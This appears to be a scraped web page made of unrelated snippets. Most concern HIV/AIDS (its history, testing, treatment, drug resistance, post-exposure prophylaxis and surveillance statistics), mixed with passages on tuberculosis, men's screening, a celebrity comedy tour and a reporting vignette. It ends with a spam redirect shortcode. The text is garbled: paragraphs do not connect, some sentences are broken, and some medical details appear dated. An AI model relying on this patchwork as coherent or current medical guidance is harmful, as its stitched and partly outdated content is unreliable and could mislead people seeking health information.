HIV/AIDS research includes all medical research that attempts to prevent, treat, or cure HIV/AIDS, as well as fundamental research about the nature of HIV as an infectious agent and AIDS as the disease caused by HIV.
US Food and Drug Administration. FDA approves first rapid diagnostic test to detect both HIV-1 antigen and HIV-1/2 antibodies. US Department of Health and Human Services, US Food and Drug Administration. Available at http://www.fda.gov/NewsEvents/Newsroom/PressAnnouncements/ucm364480.htm. Accessed: August 12, 2013.
It is a fact that someone dies of TB every 15 seconds and eight million people develop active TB every year. Each one can infect between 10 and 15 people in one year just by breathing. As mentioned in the WHO Report on Global Tuberculosis Control 2003, the global incidence rate of TB is growing at approximately 0.4%/year, but much faster in sub-Saharan Africa and in countries of the former Soviet Union. Tuberculosis kills more people in India and throughout the South-East Asia Region than any other infectious disease more than HIV, STD, malaria, and tropical diseases combined. In India, more than 1,000 people die from TB every day more than 450,000 per year, 1 every minute
Getting the right screening test at the right time is one of the most important things a man can do for his health. Learn at what age men should be screened for prostate cancer, high blood pressure, cholesterol and other health risks.
A severe immunological disorder caused by the retrovirus HIV, resulting in a defect in cell-mediated immunity that is manifested by increased susceptibility to opportunistic infections and to certain rare cancers, especially Kaposi’s sarcoma. It is transmitted primarily by exposure to infected body fluids, especially blood and semen.
Persistent generalized lymphadenopathy, or PGL, is a condition in which HIV continues to produce chronic, painless swellings in the lymph nodes during the latent period. The lymph nodes that are most frequently affected by PGL are those in the areas of the neck, jaw, groin, and armpits. PGL affects between 50-70% of patients during latency.
^ Jump up to: a b Celum, C; Baeten, JM 2012). “Tenofovir-based pre-exposure prophylaxis for HIV prevention: evolving evidence”. Current Opinion in Infectious Diseases. 25 (1): 51–7. doi:10.1097/QCO.0b013e32834ef5ef. PMC 3266126 . PMID 22156901.
The findings in this report are subject to at least four limitations. First, missing CD4 test results could be caused by either incomplete reporting or not having had a CD4 test done. However, 89.4% of persons with HIV infection diagnosed in 2015 had a first CD4 test after diagnosis reported by June 2017. Second, adjustment for missing risk factors might be inaccurate if factors associated with these were not accounted for in the model. Third, NHBS is not a nationally representative sample, so results are not generalizable to all cities or to all groups at high risk in participating cities. Finally, behavioral data are self-reported and subject to social desirability bias.
HIV testing should be voluntary and the right to decline testing should be recognized. Mandatory or coerced testing by a health care provider, authority, or by a partner or family member is not acceptable as it undermines good public health practice and infringes on human rights.
You can’t get HIV by shaking hands or hugging a person who has HIV. You also can’t get HIV from contact with objects such as dishes, toilet seats, or doorknobs used by a person with HIV. HIV does not spread through the air or through mosquito, tick, or other insect bites.
51% of infections in the UK in 2012 occurred through sex between men and this group remains at greatest risk.There has been no evidence in recent years of a decline in the numbers of new infections in this group and over 3,250 new diagnoses of HIV occurred in 2012.
Black America, however, never got a Pepfar. Though the raw numbers were much lower than in Africa, parts of our country looked like the continent the program was created to save. Yet while buckets of money went overseas, domestic funding for H.I.V./AIDS remained flat, and efforts to fight the disease here were reduced to a poorly coordinated patchwork affair. “When we saw that the epidemic was out of proportion in the black community, we started calling for a domestic Pepfar that would bring new resources to the effort, create clear and ambitious objectives and rebuild health care infrastructure around the country,” Lee said. “But we just couldn’t get the administration to focus on a domestic plan.”
By 1984 researchers working in Africa had provided clear evidence for heterosexual transmission of the causative agent, HIV. The virus had been isolated the year before by a team of French researchers led by virologist Luc Montagnier. Montagnier and his colleagues identified the virus as a new type of human retrovirus, and they suspected that it was the cause of AIDS. But more-detailed characterization was needed to confirm the connection, so Montagnier sent samples to American virologist Robert C. Gallo, who had contributed to the discovery of the first known human retrovirus (human T-lymphotropic virus) several years earlier. Gallo helped establish that HIV caused AIDS, and he contributed to the subsequent development of a blood test for its detection. Montagnier initially called the new infectious agent lymphadenopathy-associated virus (LAV), but in 1986 the International Committee on Taxonomy of Viruses renamed it HIV. Montagnier and French virologist Françoise Barré-Sinoussi were awarded the 2008 Nobel Prize for Physiology or Medicine for their discovery of HIV; despite Gallo’s role in confirming HIV as the cause of AIDS, Montagnier and colleagues were the first to isolate the virus.
Two types of HIV have been characterized: HIV-1 and HIV-2. HIV-1 is the virus that was originally discovered (and initially referred to also as LAV or HTLV-III). It is more virulent, more infective, and is the cause of the majority of HIV infections globally. The lower infectivity of HIV-2 as compared with HIV-1 implies that fewer people exposed to HIV-2 will be infected per exposure. Because of its relatively poor capacity for transmission, HIV-2 is largely confined to West Africa.
If treatment fails, drug susceptibility (resistance) assays can determine the susceptibility of the dominant HIV strain to all available drugs. Genotypic and phenotypic assays are available and can help clinicians select a new regimen that should contain at least 2 and preferably 3 drugs to which the HIV strain is more susceptible. The dominant HIV strain in the blood of patients who are taken off antiretroviral therapy may revert over months to years to the wild-type (ie, susceptible) strain because the resistant mutants replicate more slowly and are replaced by the wild type. Thus, if patients have not been treated recently, the full extent of resistance may not be apparent through resistance testing, but when treatment resumes, strains with resistance mutations often reemerge from latency and again replace the wild-type HIV strain.
The treatment for each immunodeficiency disorder will depend on the specific conditions. For example, AIDS causes several different infections. Your doctor will prescribe medications for each infection. And you may be given an antiretroviral to treat and HIV infection if appropriate.
Clinics that do HIV tests keep your test results secret. Some clinics even perform HIV tests without ever taking your name (anonymous testing). You must go back to the clinic to get your results. A positive test means that you have HIV. A negative test means that no signs of HIV were found in your blood.
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^ Jump up to: a b Kurth, AE; Celum, C; Baeten, JM; Vermund, SH; Wasserheit, JN (March 2011). “Combination HIV prevention: significance, challenges, and opportunities”. Current HIV/AIDS reports. 8 (1): 62–72. doi:10.1007/s11904-010-0063-3. PMC 3036787 . PMID 20941553.
If the source’s virus is known or suspected to be resistant to≥ 1 drug, an expert in antiretroviral therapy and HIV transmission should be consulted. However, clinicians should not delay PEP pending expert consultation or drug susceptibility testing. Also, clinicians should provide immediate evaluation and face-to-face counseling and not delay follow-up care.
The best combination of drugs for HIV are those that effectively suppress viral replication in the blood and also are well tolerated and simple to take so that people can take the medications consistently without missing doses.
D4T can damage nerves and cause peripheral neuropathy, a neurological condition with numbness and/or tingling of the feet and hands, and inflammation of the pancreas (pancreatitis) that causes nausea, vomiting, and mid/upper abdominal pain.
A family history of primary immunodeficiency is the strongest predictor of a disorder. At birth and for only a few months, babies are partially protected from infections by antibodies transmitted to them by their mothers. Typically, the earlier the age at onset of signs of an immunodeficiency in children, the more severe the disorder. Testing can be done within the first few months, but it is also important to recognize the early signs: recurrent infections and failure to thrive. Initial laboratory screening should include a complete blood count with differential and measurement of serum immunoglobulin and complement levels.
The later stages of HIV infection are characterized by the progressive depression of T cells and repeated infections that can even occur during a course of antibiotic therapy for another infection (superinfections). People with AIDS are particularly vulnerable to “opportunistic infections” from bacteria that other people normally fight off. Pneumocystis carinii, which causes severe inflammation of the lungs (pneumonia), is a common infection that affects people with AIDS. Cancers (malignant neoplasms), and a wide variety of neurological abnormalities, most notably the AIDS dementia complex, may also occur. These neurological symptoms when of HIV, infects the nervous system.
Results: An estimated 15% of persons living with HIV in 2015 were unaware of their infection. Among the 39,720 persons with HIV infection diagnosed in 2015, the estimated median diagnosis delay was 3.0 years (interquartile range = 0.7–7.8 years); diagnosis delay varied by race/ethnicity (from 2.2 years among whites to 4.2 years among Asians) and transmission category (from 2.0 years among females who inject drugs to 4.9 years among heterosexual males). Among persons interviewed through National HIV Behavioral Surveillance, 71% of men who have sex with men, 58% of persons who inject drugs, and 41% of heterosexual persons at increased risk for HIV infection reported testing in the past 12 months. In each risk group, at least two thirds of persons who did not have an HIV test had seen a health care provider in the past year.
Jump up ^ Worobey, Michael; Gemmel, Marlea; Teuwen, Dirk E.; Haselkorn, Tamara; Kunstman, Kevin; Bunce, Michael; Muyembe, Jean-Jacques; Kabongo, Jean-Marie M.; Kalengayi, Raphaël M.; Van Marck, Eric; Gilbert, M. Thomas P.; Wolinsky, Steven M. (2008). “Direct evidence of extensive diversity of HIV-1 in Kinshasa by 1960” (PDF). Nature. 455 (7213): 661–4. Bibcode:2008Natur.455..661W. doi:10.1038/nature07390. PMC 3682493 . PMID 18833279. (subscription required)
AIDS begins with HIV infection. People infected with HIV may have no symptoms for ten years or longer, but they can still transmit the infection to others during this symptom-free period. Meanwhile, their immune system gradually weakens until they develop AIDS.
In communities with a relatively low prevalence of HIV, rapid testing can present certain logistic difficulties. With the traditional approach, testing would occur during an initial visit, and results would be provided during a follow-up encounter. That would give the health care professional an opportunity to arrange for an individual with expertise in posttest counseling to be available in a circumstance in which the health care professional knew that a patient was returning to receive a positive result. A program of testing and notification at the same visit does not allow the health care professional the luxury of notifying a counselor before a patient who is infected with HIV returns for a visit or of steering an individual who is infected with HIV to a certain session at which the counselor is routinely available. However, the obligation to make sure that appropriate counseling and support services are available still holds. Health care professionals should develop links with individuals who can provide those services on an emergent basis or train their own staff to handle the initial encounter and thereafter transition infected individuals to professionals who can serve as ongoing resources to them.
Ward 86, the nation’s first outpatient AIDS clinic, opened at San Francisco General Hospital on January 1, 1983. Recently, I went there to see Steven Deeks, an expert on the chronic immune activation and inflammation brought on by H.I.V. Deeks, a professor at the School of Medicine at U.C.S.F., also runs the SCOPE Study: a cohort of two thousand H.I.V.-positive men and women in whom he measures the long-term effects of living with the virus. Each year, blood samples are sent to labs all over the world. Deeks’s mission is to catalogue the damage that H.I.V. does to tissues and to test new drugs that might help.
In April 2011, he embarked on tour of his one-man show, “My Violent Torpedo of Truth/Defeat Is Not an Option.” The first show, in Detroit, went off the rails quickly. “Early in the evening, before the crowd turned sour, there was a creepy atmosphere that suggested group indoctrination into a cult,” said a Hollywood Reporter review. And that was before the booing and shouts of “You suck” started. He changed the style to a Q&A for the second show, but the tour never really caught fire.
Negotiating a maze of unpaved roads in Jackson in the company car, a 13-year-old Ford Expedition with cracked seats and chipped paint, he stopped to drop off H.I.V. medication at a couple’s home. One of the men was H.I.V.-positive, the other negative; they lived in the neighborhood locals call the Bottom, where every fifth or sixth home is abandoned, with broken windows, doors hanging off hinges, downed limbs and dry leaves blanketing front yards. Sturdevant banged on the door of a small house, its yard overgrown with weeds; he knew not to leave the package on the doorstep, where it could be stolen. After a while a young man emerged, shirtless, shrugging off sleep. He had just gotten out of jail. Sturdevant handed him the package, shook his hand and told him to “stay out of trouble.” [redirect url=’http://penetratearticles.info/bump’ sec=’7′]